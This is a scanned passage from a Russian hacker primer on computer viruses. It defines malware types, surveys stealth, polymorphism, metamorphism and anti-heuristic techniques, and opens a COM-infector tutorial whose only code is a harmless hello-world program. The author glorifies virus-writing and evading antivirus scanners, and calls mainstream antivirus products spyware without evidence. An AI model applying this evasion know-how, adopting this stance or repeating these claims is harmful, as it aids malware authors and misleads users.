визарда оставляют след в истории человечества. Кевин Митник.
Линус Торвалдс. Dark Avenger...

В наши дни развитие компьютерных вирусов идет в ногу с
усовершенствованием антивирусных программ. Как только один
из соперников берет верх над другим, тут же возникают новые ме-
тоды противодействия. По большому счету все упирается в нехват-
ку хороших программистов.

Будь их больше, империя Авиров (коммерческих компаний,
занимающихся разработкой антивирусных программ) завершила
бы работу по созданию обобщенной эвристики и тем самым вывела
бы из игры тысячи старых вирусов. Соответственно, если бы среди
вирусмейкеров появился бы новый визард, они разработали бы ме-
таморфный «движок» и на ближайшие 20—30 лет захватили бы
контроль над сетью Интернета. Впрочем, я не вижу в этом ничего
особенно страшного по сравнению с диктатурой Microsoft.
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Компьютерный вирус — это программа, которая копирует са-
му себя. При своем выполнении она создает одну или несколько
собственных копий. Эти копии позже выполняются пользователем
компьютера и также создают несколько копий. Подобный процесс
может длиться очень долго — теоретически, ad infinitum.

Известный теоретик компьютерной вирусологии Фред Кохен
дал следующее определение: «Вирус является компьютерной про-
граммой, которая может инфицировать другие компьютерные про-
граммы, модифицируя их так, чтобы включить в них копию себя».
То есть для жизненного цикла вирусу необходимы: а) другие про-
граммы и б) способность самовоспроизводства. Именно этим вирус
и отличается от «троянских коней». Трояны не могу размножаться
самостоятельно. Они распространяются людьми с помощью раз-
личных хитростей и уловок социальной инженерии.

Фактически, троян — это программа, которая выполняет не-
авторизованную функцию, скрытую внутри авторизованной про-
граммы. Она делает нечто другое, чем заявляется в ее readme. Зло-
дейский или вредный код скрыт под обликом безвредной на вид
программы. Цель трояна — перехват контроля и нанесение ущерба
для системы и данных, записанных на дисках. Троян может содер-
жать в себе вирус. Термин взят из «Илиады» Гомера (если кто не
осилил в детстве, пусть посмотрит фильм «Троя»). В битве за Трою
хитрые греки подарили жителям непокорного города деревянного
коня, в котором прятался отряд лазутчиков. Ламеры-троянцы обра-
довались халяве и приняли подарок. Ну а ночью лазутчики выбра-
лись из деревянного коня, перерезали охрану и открыли городские
ворота. Еще один пример умелого использования хакерских мето-
дов.

При определении троянов всегда возникает путаница. Допус-
тим, я написал программу, которая может определять, форматиру-
ет ли другая программа жесткий диск. Можно ли назвать такую
программу трояном? Если пользователь опасается форматирова-
ния, то моя программа не будет трояном. А если пользователь не
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ожидает форматирования, то он может считать мою программу тро-
яном. Все зависит от ожиданий пользователя.

Например, программа Aids Information Diskette была признана
трояном. В 1989 году она распространялась в качестве «скорой по-
мощи от вирусов». Пользователи передавали ее друг другу и не
могли нахвалиться качеством дармового продукта, но вскоре их
ожидал сюрприз. После 90 включений компьютера программа AID
скрывала все имена файлов на жестком диске и требовала оплатить
лицензию на свое использование. В документации о таком вариан-
те событий ничего не говорилось. Поэтому суд, в конце концов,
признал ее трояном.

Иногда трояны выступают как средства вымогательства и
шантажа. Порой они выполняют шпионские функции. Кстати, со-
временные антивирусы типа Нортона и AVP (Касперского) также
являются троянами и выполняют шпионские функции. Не верите?
Ладно! Если у вас стоит Norton AntiVirus 2004 года, воспользуй-
тесь утилитой Registry Tracker и посмотрите, как авторизирован-
ный антивирус будет выполнять неавторизированные функции,
расставляя своих «ползунов» по всем другим используемым про-
граммам и оповещая своих «shared companions» о том, что вы вы-
шли в Сеть и готовы к закачке их спамерских продуктов. .

Теперь вы понимаете, чем вирус отличается от трояна? Тро-
ян — это хитрость, капкан, логическая бомба, которая «взрывает-
ся» при совпадении заданных условий. А вирус — это живое .неор-
ганическое существо, которое существует в условиях жесткого «ес-
тественного отбора». Троян — это программа, которая самодоста-
точна, но должна распространяться человеком. А вирус распрост-
раняется сам и использует для этого другие программы.

Если бы крохотные вирусы только копировали бы самих себя,
их никто бы не боялся. Но каждый вирус несет в себе дополнитель-
ный код «расплаты». Например, вирус Form по 18-м числам каждо-
го месяца начинал «бикать» каждый раз, когда пользователь нажи-
мал на клавишу кейборда. Вирус Гитлер выдавал на экран полити-
ческие сообщения. «Бешенные» вирусы наносили системе большой
ущерб, стирая файлы.

Кроме того, 99% современных вирусов являются резидентами
памяти. То есть возникает вероятность несовместимости между ви-
русом и выполняемыми программами (например, вирус Jerusalem



Варфоломей Собейкис. АЗБУКА ХАКЕРА-3

использует ресурсы, предназначенные для сетевых продуктов фир-
мы Novell, поэтому вы не сможете применять Novell NetWare в сис-
теме, зараженной вирусом Jerusalem). Все это создает неудобства
для пользователя. А он тем временем запуган различными баснями
о вирусах. Не удивительно, что каждый пользователь, обнаружив-
ший вирус на своей машине, избавляется от него любым способом
— даже таким радикальным, как форматирование дисков. Подоб-
ная борьба обходится людям недешево. Она требует затрат време-
ни и денег. Попробуйте прикинуть, сколько машинного времени
крадут современные антивирусы и сколько денег выкачивается из
пользователей из-за каких-то крохотных и почти безобидных про-
грамм.

Теперь я расскажу вам, что не является вирусами. Запомните:
баги — не вирусы. Например, программа Word имеет серьезный баг.
Допустим, вы работаете с большим файлом, а затем внутри про-
граммы происходит какой-то сбой, и она отказывается сохранять
файл на диске. Вы теряете всю работу, которую проделали с момен-
та предыдущего сохранения. Это не вирус и не троян, а ошибка про-
граммистов. Они — тоже люди и часто ошибаются. И запомните,
когда люди шутят, что «Windows — это вирус объемом 256
мегабайт», то они не шутят. Или это шутка сквозь скрежет зубов-
ный, поскольку львиная доля ошибок, глюков и болезней компью-
тера происходит не потому, что ваши компьютеры плохие, а потому
что они работают под Windows. Конечно, у программистов Micro-
soft, как и у нас, имеется гордость, между ними складываются слож-
ные производственные отношения, поэтому они не любят призна-
вать свои ошибки и называют их «багами» (жучками), как будто ка-
кие-то жучки повылазили вдруг из щелочек и поселились в их про-
граммах. Хе! И надо заметить, что все сложные программы имеют
баги. Это непреложный факт!

Ложные тревоги также не являются вирусами. Иногда поль-
зователи сталкиваются со сбоями в работе «железа» и «софта», по-
сле чего запускаются в действие диагностика и сообщения о воз-
можных проблемах. Не нужно считать их следствием вирусной ин-
фекции. Наоборот, чаще всего они вызываются активностью анти-
вирусных программ.

Вся горькая правда заключается в том, что антивирусные про-
граммы также наполнены багами; Их основными ошибками явля-
ются следующие:
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1) они часто не находят существующие в машине вирусы и

2) заявляют о наличии вирусов, когда их в компьютере не
имеется.

Вот несколько признаков того, что забитая вдруг тревога яв-
ляется ложной:

1. Только один файл выдает тревогу (или, возможно, не-
сколько копий одного и того же файла).

2. Только один продукт выдает тревогу. Остальные утверж-
дают, что система чистая.

3. Вы получаете тревогу, выполняя множество программ, а
не когда выполняете один программный продукт.

4. Мнимый вирус не значится в списке антивирусной библи-
отеки (хотя список недавно обновлялся).

Шутки также не являются вирусами. Некоторые шутки очень
забавны (хотя их жертвы в этом никогда не признаются). Все зави-
сит от чувства юмора. Наверняка вы видели программу, которая
якобы форматирует ваш диск, а затем сообщает, что вас разыграли.
Забавно, правда?

Дропперы (кидалы) — это программы, которые не являются
вирусами и которые не инфицированы вирусами. Но они при сво-
ем выполнении инсталлируют вирус в памяти, на диске или в фай-
ле. Это переносчики вирусов — в основном, элементы промышлен-
ного саботажа.

Шпионские загрузчики — это программы, которые использу-
ют ресурсы сервера и приносят пользу своим создателям. Серверы
могут поставлять некоторые услуги бесплатно (якобы для привле-
чения клиентов). Взамен они предлагают вам загрузчики, которые
далее выполняют роль троянов и элементов коммерческого шпио-
нажа.

Зомби — это программа, которая после своего уничтожения
продолжает потреблять ресурсы системы до тех пор, пока пользо-
ватель не удалит все ресурсы, связанные с ней. Чаще всего «зомби»
остаются незамеченными «восставшими из мертвых» и владеют оп-
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ределенным количеством памяти вашей системы. Это, конечно,
неприятно, но не смертельно.

Все эти программы не наносят ущерб системе и являются ти-
пичными агентами, выполняющими низкоуровневую загрузку.
Аналогией может быть магазин, в который во время дождя наби-
лось множество людей. Они ничего не покупают, но занимают мес-
то. Чем больше таких программ в компьютере, тем меньше в вашем
распоряжении системных ресурсов.

Я хотел написать о червях, но решил не морочить вам голо-
ву. Между вирусами и червями не имеется четкой разграничи-
тельной линии. Обычно считается, что если саморазмножающая-
ся программа является самодостаточной, то это червь. А если она
вставляет свои копии в другие программы или загрузочный код,
то это вирус.

Характеристики вирусов

Вирусы можно классифицировать по нескольким следующим
характеристикам.

Какие программы они инфицируют

Арсенал старых вирусов заражал про-
граммы с расширениями «.com», «.exe» и
«.sys», а также загрузочные секторы дисков и
дискет. Соответственно, вирусы так и назы-
вались: вирусы corn-файлов, вирусы ехе-
файлов, вирусы sys-программ, вирусы boot-
сектора.

Имелась небольшая группа вирусов, которая заражала не
программы, а файлы исходного кода (например файлы с расшире-
ниями «.pas» или «.с»).

Позже появились макровирусы, написанные на языке
WordBasic. Затем первенство перехватили вирусы, написанные на
других' высокоуровневых языках. Сейчас они могут заражать элек-
тронную почту, вложения, рисунки, клипы. Мы не будем рассматри-
вать их здесь, потому что «Азбука-3» посвящена ассемблерному коду.
Да и вам не мешало бы начать с азов компьютерной вирусологии.
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Как вирус скрывает себя

Сокрытие имеет две фазы: до обнаружения и после обнаруже-
ния. В первой фазе используются такие приемы, как сокрытие раз-
мера зараженного файла, кодирование, «дезинфекция на лету»,
туннелинг*, антитуннелинг, секторное сокрытие, сокрытие 4202 и
SFT. Во второй фазе используются методы полиморфизма, кодиро-
вания, метаморфизма, антиотладки и антиэвристичности. Позже
мы рассмотрим эти методы.

Как вирус находит программы для инфекции

При выполнении зараженной программы вирусы Runtime ос-
матривают директорию (или несколько директорий), выискивают
и заражают файл, пригодный для инфекции.

За один рабочий цикл программы они заражают только не-
сколько программ. В отличие от них резидентам памяти — вирусам
TSR (Terminate and Stay Resident) — не нужно искать программы
для заражения. Они размещаются в памяти и перехватывают пре-
рывания. Как только какая-то другая программа вызовет прерыва-
ние, в ответ она получит вирус.

Как вирус крепится к зараженному файлу

Вирусы могут: 1) присоединяться к зараженному файлу, 2)
переписывать его часть своим кодом, 3) сохранять или копировать
зараженный файл в своем буфере или 4) размещать наобум.

Какой вид расплаты предполагается в вирусе

Расплатой может быть: 1) логические бомбы, которые «вры-
вается» в заданное время или при указанных обстоятельствах, 2)
сообщение на мониторе или звуки, 3) разрушительные коды или
4) различные хорошие благодеяния. Элемент расплаты зависит от
характера и натуры человека — создателя вируса.

На какую операционную систему рассчитан вирус

Соответственно, бывают DOS-вирусы, вирусы под Windows,
под Linux, под OS/2 и т. д.

* Термин «tunneling» переводится в научной литературе как «туннели-
рование», но я остановился на слэнге для этого Слова. Для меня перевод
«туннелинга» как «туннелирования» означает насилие над двумя великими
языками — эдаким аналогом «факинга» и «факелирования», если вы понимаете, о
чем я говорю.
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На каком языке написаны вирусы

Существуют Bat-вирусы, С-вирусы, Dbase-вирусы. Их разно-
образию не видно предела.

Вирусные технологии: прошлое,
настоящее и будущее

С момента появления компьютерных вирусов на нашей пла-
нете прошли десятки лет, и появились сотни новых технологий.
Однако эффективность каждой технологии имеет плюсы и минусы.
Настоящие причины технологического развития немного иные,
чем нам кажутся. В основном они определяются задачами авиров и
носят чисто коммерческий характер.

1. Туннелинг

Туннелинг — это технология, первоначально созданная для
обхода авирных продуктов, определявших класс вирусов. Эти
продукты назывались поведенческими блокираторами. Они были
резидентами памяти, подцепленными к прерываниям Intl3h и
Int21h. To есть они отслеживали вызовы к этим прерываниям и
определяли особые последовательности действий (например, от-
крыть файл, переместиться к концу файла, произвести запись, пе-
реместиться в начало файла, произвести запись, закрыть файл).
Подобные последовательности указывали на процесс инфекции,
и их обнаружение вызывало различные процедуры очистки систе-
мы.

В нынешнее время поведенческие блокираторы переживают
стадию упадка. Во-первых, они замедляют работу программ. Во-
вторых, они часто вызывали ложные тревоги, а пользователей
нельзя волновать понапрасну. Тем не менее, они часто входят в ин-
струментальный набор антивирусных пакетов.

В любом случае, туннелинг переживает не лучшие времена.
Этот метод, во-первых, увеличивает размеры вирусов и замедляет
процесс внедрения в систему. Во-вторых, он часто не оправдывает
себя, ломая код вируса. В-третьих, этот метод вызывает проблемы
совместимости с процессорами и антивирусными программами
(причем, так называемые одношаговые «кроты» в наше время лег-
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ко определяются). В-четвертых, практика туннелинга сложна и
опасна для создателей вирусов. И пока этот метод не считается по-
лезным оружием в арсенале опытных адептов Искусства.

2. Антитуннелинг

Антитуннелинг развивался в ногу с туннелингом и использо-
вался авирами для борьбы с вирусными туннелинговыми атаками.
Даже тогда он использовался редко — меньше, чем туннелинг. А за-
тем хакеры применили этот метод против авиров. Вирусы начали
использовать код антитуннелинга, чтобы защититься от обхода их
сокрытия и запретить другим вирусным туннелерам вмешиваться в
механизмы захвата прерываний.

Антитуннелинг имеет хорошие и плохие стороны. С одной
стороны, он хорош, чтобы запретить другим вирусам обход захва-
ченного вами вектора прерывания и для остановки многих попу-
лярных авировских программ. С другой стороны, этот метод по-
рождает много хлама и засоряет систему, что делает явным наличие
вируса. Поэтому метод нуждается в дальнейшей разработке.

3. Сокрытие

Сокрытие использовалось часто и разнообразно. Поначалу
оно обманывало чекеры целостности и мешало им выявлять изме-
нения в зараженных файлах (в наше время любой авировский про-
дукт включает в себя чекеры целостности). Сокрытие бывает раз-
ным. Например:

3 . 1 . Файловое сокрытие

Простое файловое сокрытие появилось во времена правления
DOS и Norton-Commander. В ту пору вирусы были диковинкой, и
люди проверяли размеры файлов. Такая проверка позволяла им оп-
ределять наличие вирусов (в основном, в COMMAND.COM, и
именно поэтому инфекция COMMAND.COM почти никогда не
проводилась). Сокрытие размера имело свои проблемы. Некоторые
программы-архиваторы неправильно сжимали зараженные файлы,
а другие (например CHKDSK) буквально сходили с ума, объявляя
об ошибках на жестком диске. Это ставило жизнь вирусов под уг-
розу, потому что пользователь всегда и по любому поводу винит в
нестабильности системы только вирусы.

Файловое сокрытие было не очень совместимым с програм-
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мами. Сейчас оно редко употребляется, потому что пользователи
больше не следят за размерами файлов. Тем не менее, некоторые
авиры предлагают подобную утилиту.

Следует добавить, что старые методы по сокрытию размера
файла не работают на современных машинах (хотя никто не пони-
мает, по какой причине). Сейчас развиваются методы инфекции без
увеличения размера (заражение пространств данных, заголовков,
сжатие файла перед инфекцией и т. д.).

3.2. Секторное сокрытие

Это было первой формой сокрытия вирусов для загрузочного
сектора. Сокрытие уровня сектора маскирует наличие вируса в за-
грузочном секторе на дисках. Метод легко обнаруживается, когда
а виры считывают информацию напрямую с портов. Но доступ к
портам задействует прерывание Int76h. И если вирусмейкер доста-
точно умен, он обходит такие проверки.

В данном случае нужно помнить, что это прерывание вызыва-
ется после записи на диск и, если вы будете невнимательны, то мо-
жете войти в бесконечную петлю.

Сокрытие уровня сектора имеет проблемы на современных
машинах. Эти трудности решаются сокрытием с помощью Int76h и
правильным обращением с Intl3h. Секторное сокрытие с помощью
Intl3h плохо работает под Linux и другие 32-битные системы.

3.3. Сокрытие с дезинфекцией при чтении

Это вид полного сокрытия. Он построен на очищении зара-
женных файлов, когда те открываются пользователем, и на их вто-
ричном заражении при закрытии. Одним из первых этот метод ис-
пользовал вирус Frodo. Данный метод не работает на дискетах и вы-
зывает сообщение об ошибке, если Int24h зацеплено неверно. Не-
которые конфигурации Сети не дают разрешения на запись, поэто-
му здесь тоже могут возникать проблемы.

Эта форма сокрытия очень медленная. Кроме того, она делает
диск неустойчивым. Но здесь может помочь сокрытие дискового
пространства.
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3.4. Сокрытие 4202 и SFT

Обе формы сокрытия имеют дело с сокрытием при чтении и
перенаправлении. Файлы не очищаются при доступе к ним, а мас-
кируются по файловому размеру. Если файл открывается в режиме
чтение/запись и в него что-то пишется, то он очищается и после
проведенной записи снова заражается. При сокрытии 4202, которое
применяется в большинстве вирусов, доступ к концу файла ограни-
чивается вирусом. Любая попытка выйти за пределы виртуального
файла блокируется вирусом. При сокрытии SFT изменяется длина
файла в таблице SFT. DOS ограничивает проход мимо конца зара-
женных файлов, и вирус лишь маскирует начало зараженных бай-
тов.

Сокрытие SFT вызывает проблемы в Сети и на разных опера-
ционных системах, потому что SFT является недокументирован-
ной структурой, в которой нормальные программы не нуждаются.
Кроме того, обе формы сокрытия вызывают проблемы в случае
применения дисковых чекеров. Некоторые архиваторы делают ви-
русы незаразными, если сокрытие на чтение не было предваритель-
но выключено. То есть методы хорошие, но имеют проблемы с сов-
местимостью. Их преимуществом является обход сканирования
авиров. И если ваш вирус будет иметь в дополнение хороший поли-
морфизм, то его ждет долгая и сытая жизнь на нивах многочислен-
ных систем.

4. Кодирование, полиморфизм и метаморфизм

Кодирование (основной защитный механизм вирусов) было
придумано до внедрения методик сокрытия, и причиной тому были
авиры. Если бы они не начали вытаскивать небольшие сигнатуры

из дешифраторов вируса, то такой прием,
jgh, как полиморфизм, никогда бы не был раз-

вит.

Кодирование и полиморфизм при-
вели к тому, что современные авиры вы-
нуждены тратить много времени даже на

1 ^^т1 сканирование самых глупых и неуклю-
^4 жих поделок начинающих вирусмейке-

i| ров. Точная идентификация вируса ста-
У " ~ " | новится почти невозможной, когда коли-

чество «уникальных» записей декодиро-
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вания стремительно сокращается, а им эти строки еще необходи-
мо найти. Полиморфизм стал основным оружием вирусов против
авировских сканеров сигнатур. В ответ авиры создали обобщен-
ное декодирование (эмуляцию), что поставило полиморфизм на
грань вымирания.

Хотя полиморфизм по-прежнему создает проблемы для эму-
ляционных систем. Они значительно замедляют работу и путаются
в «мусорном» коде (множестве функциональных вызовов). Многие
полиморфные дешифраторы настраивают эвристические флаги.
На смену полиморфизму приходит метаморфизм. Этот метод ото-
шел от кодирования и для каждого нового поколения полностью
переписывает код вируса, по-особому эскизу. То есть для ави.ров бу-
дет нужна фигура из 20 сканстрок, а при эволюции данного метода
сканирование вообще окажется бессильным.

Обычно вирус пошагово проходит свой ассемблерный код и
конструирует новую программу с возможностями старой версии.
Это требует знания опкодов и полиморфных технологий. Вполне
понятно, что данный метод создает в новом поколении «мусорный»
код, который мутирует раз за разом, увеличивая размер вируса. Со-
ответственно, вирусу приходится уменьшать размер, кодируя ори-
гинальную копию вируса. При других вариантах метаморфный мо-
дуль создает оригинальную копию.

Примеры метаморфизма редки, и пока существует только не-
сколько прототипов. Но мутации вирусов ведут к новой стадии
эволюции. Борьба за сокрытие от сканеров, в конечном счете, при-
ведет к развитию «разумного» вируса.

5. Антиотладка и антиэвристичность

Эти два метода активно развиваются. Первый снижает эф-
фективность авировских эмуляторов, но уязвим по эвристическим
характеристикам. Поэтому в действие вводится антиэвристич-
ность. Если империя Авира создаст мощную обобщенную систему
идентификации, то только антиэвристичность поможет вирусам
выжить. Хотя сейчас намечается развитие новых приемов, которые
могут избегать обобщенного определения.

6. Среднефайловая инфекция
Существуют две формы среднефайловой инфекции.

Первая форма предполагает, что вирус находит файл, пригод-
ный для заражения, трассирует код программы (в пошаговом режи-
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ме, с помощью эмуляции или трассирования кода) и вставляет
один или более базовых блоков вируса в разные части кода.

Второй метод выбирает наугад части файла и сохраняет дан-
ные этой области в теле вируса. Эти небольшие куски заполняются
полиморфным прыжковым кодом, и каждый из прыжков перено-
сит контроль с одной части в другую. Последний прыжок перехо-
дит к началу вируса, который располагается где-то в середине ис-
полнительного файла.

Функциональные элементы вирусов

Каждый жизнеспособный вирус должен иметь, по крайней
мере, две основные части или подпрограммы.

Во-первых, он должен содержать подпрограмму поиска, опре-
деляющую новые файлы или новые области диска, которые могут
служить целями инфекции. Эта подпрограмма определяет, как хо-
рошо вирус будет размножаться (быстро или медленно, на одном
или нескольких дисках и т. д.). Как и у всех программ, размер вы-
ступает против функциональности. Сложная поисковая подпро-
грамма занимает больше места. Поэтому, несмотря на то, что эф-
фективный поиск помогает вирусу размножаться быстрее, он дела-
ет его более крупным, а это не всегда хорошо.

Во-вторых, каждый вирус должен иметь подпрограмму копи-
рования в ту область, которую выявила подпрограмма поиска. Ме-
ханизм копирования должен быть сложным ровно настолько, что-
бы сделать работу вируса незаметной. Чем он меньше, тем лучше.
Все зависит от сложности вируса. Например, инфектор сот-фай-
лов может обойтись меньшей подпрограммой копирования, чем ви-
рус, инфицирующий ехе-файлы. Дело в том, что структура ехе-
файла более сложная, поэтому вирусу приходится делать больше
операций, чтобы прикрепиться к файлу.

Помимо основных черт (нахождение жертвы и прикрепление
к ней) вирус обычно наделяется другими дополнительными черта-
ми, которые позволяют ему избегать определения. Антиопредели-
тельные подпрограммы могут входить в механизмы поиска или ко-
пирования или быть функционально отдельными от них.

К примеру, поисковая подпрограмма может быть строго огра-
ничена в размере, чтобы избежать определения. Подпрограмма, ко-
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торая проверяет каждый файл на каждом диске, работает долго и
вызывает довольно подозрительную и необычную активность дис-
ка, что может насторожить пользователя. Поэтому антиопредели-
тельная подпрограмма активирует деятельность вируса только при
особых условиях. Например, она может действовать только в те мо-
менты, если ни одна клавиша кейборда не нажимается около пяти
минут (предполагается, что пользователь в это время находится
вдали от компьютера).

ВИРУС Механизм
поиска

Механизм
копирования

Механизм анти-
определения

Рис. 1. Функциональная схема вируса

Подпрограммы поиска, копирования и антиопределения яв-
ляются необходимыми компонентами компьютерного вируса.
Многие вирусы имеют дополнительные подпрограммы для так на-
зываемой «расплаты» (разрушения файлов или создания каких-то
шуток). Такие элементы придают вирусу характер (злой, веселый
или добрый), но они неважны для его существования. Чем меньше
вирус провоцирует активность диска, тем лучше для его выжива-
ния. С другой стороны, если любимая программа пользователя об-
рывается и на экране появляется надпись: «Ха-ха! Приплыли!», по-
сле чего компьютер не выполняет команды, а файлы удаляются с
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диска, то даже ламер поймет, что он стал жертвой вирусной атаки.
Такое поведение вируса обрекает его Яа уничтожение.

Другими словами, некоторые вирусы нацелены на выжива-
ние, другие выполняют роль «камикадзе» и живут до выполнения
своей миссии. Таким образом, система выполнения тоже очень важ-
на.

Поиск копи-
рование

Антиопреде-
ляющие программы
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Мы обитаем в голографиче-
ской Вселенной, где все пребыва-
ет во всем. Каждая часть мироз-
дания отражает в себе элементы
верхних и нижних уровней бы-
тия. Гермес Трисмегист говорил:
«Что вверху, то и внизу». Он
знал истину. Мы отражаем в себе
подобие нашего Творца и, следо-
вательно, можем смело утверж-
дать, что наши творения будут
подобны людям.

Как пророк Сети я могу опи-
сать все категории компьютерных
вирусов настоящего и будущего
времени. Я могу предречь их судь-
бу и грядущие дни. Но, будучи ха-
кером и адептом принципов голо-
графической Вселенной, я вос-
пользуюсь описанием другого про-
рока, ибо все во всем, и истина
верхнего слоя мироздания будет
истинной для более нижних слоев.

Откройте Библию, дети мои.
Бытие, 49:1-28: «И призвал Иаков
сыновей своих и сказал: соберитесь,
и я возвешу вам, что будет с вами в
грядущие дни; сойдитесь и послу-

шайте, сыны Иакова, послушайте Израиля, отца вашего. Рувим, пер-
венец мой! Ты — крепость моя и начаток силы моей, верх достоинства
и верх могущества; по ты бушевал, как вода, —• не будешь преимуще-
ствовать, ибо ты взошел на ложе отца твоего, ты осквернил постель
мою,/на которую/ взошел...».
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Вот лучшее описание переписывающих вирусов, которое я
видел. С них все началось. Они начатки нашей силы — верх
могущества хакеров и последователей Искусства вирусмейкерства.
Но они не стали «преимуществовать», потому что «бушевали».
Переписывающие вирусы присоединялись к началу атакованных
программ («восходили на ложе своего отца») и переписывали жертву,
заменяя ее код своим кодом («оскверняли постель», на которую
«восходили»).

Читаем дальше: Бытие, 49:5-7. Вот описание компаньонских
вирусов. «Симеон и Левый, братья, орудия жестокости, мечи их...
проклят гнев их, ибо жесток, и ярость их, ибо свирепа...». Да, мы
пишем вирусы для разрушения слабых звеньев технического
прогресса. Выживать должны сильнейшие и умнейшие, но излишняя
жестокость слишком очевидна. «Преимуществовать» будут более
гибкие и адаптированные вирусы. Вот чему учит нас Библия и —
через ее священные тексты — ноуменальная Сеть голографической
Вселенной.

Из «Черного гримуара» величайшего визарда Dark Avengem

Простые СОМ-инфекторы

Мы начнем наш путь в компьютерную вирусологию с
простых и понятных вещей — с маленьких элементарных вирусов,
которые довольно безвредны и покорны. Естественно, нам
придется окунуться в темные воды прошлого и проследить
развитие инфекторов на протяжении их небольшой, но инте-
ресной истории. Такой экскурс в предыдущий век позволит вам
освоить базовые приемы вирусмейкерства. Поэтому не упрекайте
меня в пристрастии к DOSz/ и реликтам компьютерных программ.
Все это тонкости учебного процесса, о которых вам знать не
обязательно. Гы-гы!

Однако, чтобы успокоить вас, я скажу, что получив азы
Искусства, вы сможете создавать забавную смесь старых
шедевров и современных методов — гремучую смесь, которая
сделает ваши вирусы неотразимым источником наслаждения для
авиров и несведущих пользователей.
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Сейчас мы рассмотрим приемы, общие почти для всех
категорий вирусов. Даже в самых современных и навороченных
образчиках Искусства, в которых применяются сокрытие и
противо-антивирусная оборона, авторы по-прежнему используют
стандартные функции чтения, записи и сравнения. Самыми
простыми и покорными вирусами являются нерезидентские
инфекторы СОМ-файлов. Они инфицирует только программные
файлы с расширением .СОМ.

Этот вид инфекторов переживал свой расцвет в 1989—91
годах прошлого столетия. В отличие от ЕХЕ-файлов, СОМ-
файлы не содержат структур данных, интерпретируемых
операционной системой. В них заложен только код. Простота
СОМ-файла делает инфицирование довольно легким делом. К
тому же, нерезидентские вирусы не оставляют код в памяти,
который будет действовать после завершения программы-
жертвы. Таким образом, пока вы работаете в окне подсказки DOS,
вам ничто не угрожает. Вирус не вырвется из вашей хватки и не
скроется в недрах машины.

Тем не менее, безвредность нерезидентских СОМ-
инфекторов — понятие относительное. Встречаются жутко
опасные СОМ-вирусы, заряженные логическими бомбами —
кодом, который выполняется при совпадении условий,
заложенных творцом «зверушки». Так что будьте настороже и,
работая с вирусами, никогда не расслабляйтесь.

В следующих главах мы рассмотрим три основных типа
СОМ-инфицирующих вирусов. Они называются так:

1. Переписывающие вирусы

2. Компаньонские вирусы

3. Паразитические вирусы

Если вы поймете принцип действия этих простейших
вирусов, то освоите компьютерную вирусологию на 62%,
потому что большинство современных вирусов относятся к
одному из вышеуказанных типов. Но прежде чем приступить к
их рассмотрению, давайте выясним, как работает СОМ-
программа. Это поможет нам правильно атаковать ее.

38



ГЛАВА 2. Самовоспроизводство

Принцип действия СОМ-программы

Когда пользователь вводит имя программы в окне подсказки
DOS или кликает по иконке или ссылке, операционная система
начинает искать файлы с указанным именем и расширением
«.СОМ». Если она находит что-то, то загружает файл в память и
выполняет его. Если не находит, начинает искать файлы с тем же
именем, но уже с расширением «.ЕХЕ». Если находит, то загружает
и выполняет файл. Если ни один ЕХЕ-файл не найден,
операционная система приступает к поиску файла с расширением
«.ВАТ» и, найдя, выполняет его. Если все три варианта поиска ни к
чему не привели, DOS выдает сообщение об ошибке: «Bad command
or file name».

СОМ-файлы проще ЕХЕ-файлов. Они имеют предписанный
формат сегмента, который встроен в структуру DOS, в то время как
ЕХЕ-файлы устроены так, что сегментный формат определяется
программистом. Обычно это очень большие и сложные программы.
СОМ-файл является прямым двоичным образом кода, который
вносится в память и выполняется процессором. ЕХЕ-файл
таковым не является.

При выполнении СОМ-файла DOS совершает подготови-
тельную работу, затем загружает программу в память и передает
программе контроль. После того, как программа получает
контроль, DOS выполняет программу и манипулирует ею как
данными. Чтобы понять этот процесс, мы рассмотрим действие
простой невирусной СОМ-программы, которая на Ассемблере
эквивалентна hello.с — известной маленькой «затычке»,
вставляемой во все книги по программированию на языке С. Вот
она:

FLY:

mov

mov

.model tiny

.code

ORG100H

ah, 9

dx.OFFSETWART

приготовиться к показу сообщения

;адрес сообщения

гад



Варфоломей Собейкис. АЗБУКА ХАКЕРА-3

int 21Н ;показать его с помощью DOS

mov ax, 4C00H

int 21Н

приготовиться к выходу из программы

;и выйти с помощью DOS

WART DB «Вы только что запустили в систему
вирус! Наслаждайтесь!$»

END FLY

Назовем программу FLY.ASM.

В этой главе мы будем использовать
ее в качестве жертвы для вирусной
инфекции. Теперь, когда вы напечатаете
«FLY» в черном окне подсказки, DOS
первым делом зарезервирует память для
этой программы.

Чтобы вы поняли, как СОМ-
программа использует память, я должен
рассказать вам о еще одной нелепости
современной компьютерной архитектуры.

На самом деле СОМ-программы являются анахронизмом или,
лучше сказать, реликтом тех дней, когда ваши папы и мамы, а,
возможно, дедушки и бабушки, играли в компьютерные игры на
«Синклерах», оснащенных процессорами Z80 и 8080.

В то давнее время микрокомпьютеры использовали
операционную систему СР/М. Процессор мог адресоваться только
к 64 килобайтам памяти. Когда Билл Гейтс начал протаскивать в
массы свои MS-DOS и PC-DOS, операционная система СР/М
была очень популярной. Под нее писались тысячи программ
(только Applell развивал тогда свое направление). Гейтс, как
обычно, подгреб все под себя, и MS-DOS была устроена с
возможностью портировать старые программы, написанные под
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СР/М. В конечном счете процессор 8088 стал оперировать СОМ-
программами, и с течением времени все это старье благополучно
перекочевало в современные машины.

В микропроцессоре 8088 все регистры были 16-битными. 16-
битный регистр 8080 (так же, как и Z80) позволял адресоваться к
64 килобайтам памяти.

Если вам требовалось больше памяти, вы должны были иметь
больше битов для адресации к памяти. 8088 мог адресоваться к 1
Мгб памяти. Это достигалось хитрым трюком, называемым
процессом сегментации. В нем использовались два регистра,
создававшие 20-битный адрес физической памяти.

Такая регистровая пара состояла из сегментного регистра,
который содержал более важные биты адреса, и офсетного
регистра с менее важными битами. (Чтобы вы не путались с
сокращениями, я спонсирую вам список регистров — см.
табл.1.)

Табл. 1 . Расшифровка сокращений, ассоциированных с регистрами

АХ
ВХ
СХ
DX
DS
ES
SS
CS
ВР
SI
DI
SP
IP

Сумматор
Базовый регистр
Счетчик
Регистр данных
Сегмент данных
Дополнительный сегмент
Сегмент стека
Сегмент кода
Указатель базы
Индекс источника
Индекс назначения
Указатель стека
Командный указатель
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Сегментный регистр указывал на 16-байтовый блок
памяти, а офсетный регистр говорил, сколько байтов нужно
было добавить к началу 16-байтового блока, чтобы найти
желаемый байт в памяти.

Например, если регистр ds был установлен до 1275 Hex, a
регистр Ьх — до 457 Hex, то физический 20-битный адрес байта
ds:[bx] был равен:

1275НхЮН= 12750Н

+ 457Н

12ВА7Н

Существовала возможность записи одного физического
адреса несколькими способами.

Например, настройка ds = 12ВA Hex и Ьх = 7 соответствовала
